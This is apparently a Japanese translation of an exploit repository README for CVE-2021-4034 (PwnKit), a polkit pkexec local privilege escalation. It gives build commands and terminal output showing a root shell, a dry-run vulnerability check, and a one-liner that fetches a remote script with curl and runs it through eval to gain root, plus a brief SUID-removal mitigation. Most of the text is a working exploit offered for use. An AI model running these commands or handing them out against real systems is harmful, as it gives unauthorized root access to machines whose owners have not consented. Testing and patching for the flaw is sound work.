CVE-2021-4034

polkit権限昇格エクスプロイトのワンデイ

make を実行し、./cve-2021-4034 を実行するだけで、rootシェルを手に入れられます。

実際の作者による元のアドバイザリはこちらです。

PoC

エクスプロイトが成功すると、すぐにrootシェルが取得できます:

vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit

ほとんどのシステムでpolkitを更新するとエクスプロイトが修正されるため、使用方法が表示されてプログラムは終了します:

vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
       --help |
       --disable-internal-agent |
       [--user username] PROGRAM [ARGUMENTS...]

See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$

ドライラン

シェルを実行せずに、システムが脆弱かどうかだけをテストするには、dry-run ターゲットをコンパイルします。

プログラムが "root" を表示して終了した場合、システムがこのエクスプロイトに対して脆弱であることを意味します。

vagrant@ubuntu-impish:~/CVE-2021-4034$ make dry-run
...
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
root
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
1

システムが脆弱でない場合は、エラーを表示して終了します。

vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
pkexec --version |
       --help |
       --disable-internal-agent |
       [--user username] PROGRAM [ARGUMENTS...]

See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
0

Linux向けPolkit pkexecについて

Polkit（旧称PolicyKit）は、Unix系オペレーティングシステムにおいてシステム全体の権限を制御するためのコンポーネントです。非特権プロセスが特権プロセスと通信するための体系化された方法を提供します。また、polkitを使用して、pkexecコマンドの後に実行したいコマンド（root権限付き）を続けることで、昇格した権限でコマンドを実行することも可能です。

ワンライナーコマンド

以下のコマンドでダウンロードして実行できる単一のスクリプトを使用して、システムを簡単にエクスプロイトできます:

eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"

vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami
vagrant
vagrant@ubuntu-impish:~/CVE-2021-4034$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
# whoami
root

緩和策

お使いのオペレーティングシステムで利用可能なパッチがない場合は、一時的な緩和策としてpkexecからSUIDビットを削除できます。

# chmod 0755 /usr/bin/pkexec

その後、エクスプロイトはpkexecにsetuidビットが設定されている必要があるとエラーを表示して失敗します。

vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ sudo chmod 0755 /usr/bin/pkexec
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ ./cve-2021-4034
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
pkexec must be setuid root

berdav-CVE-2021-4034

人気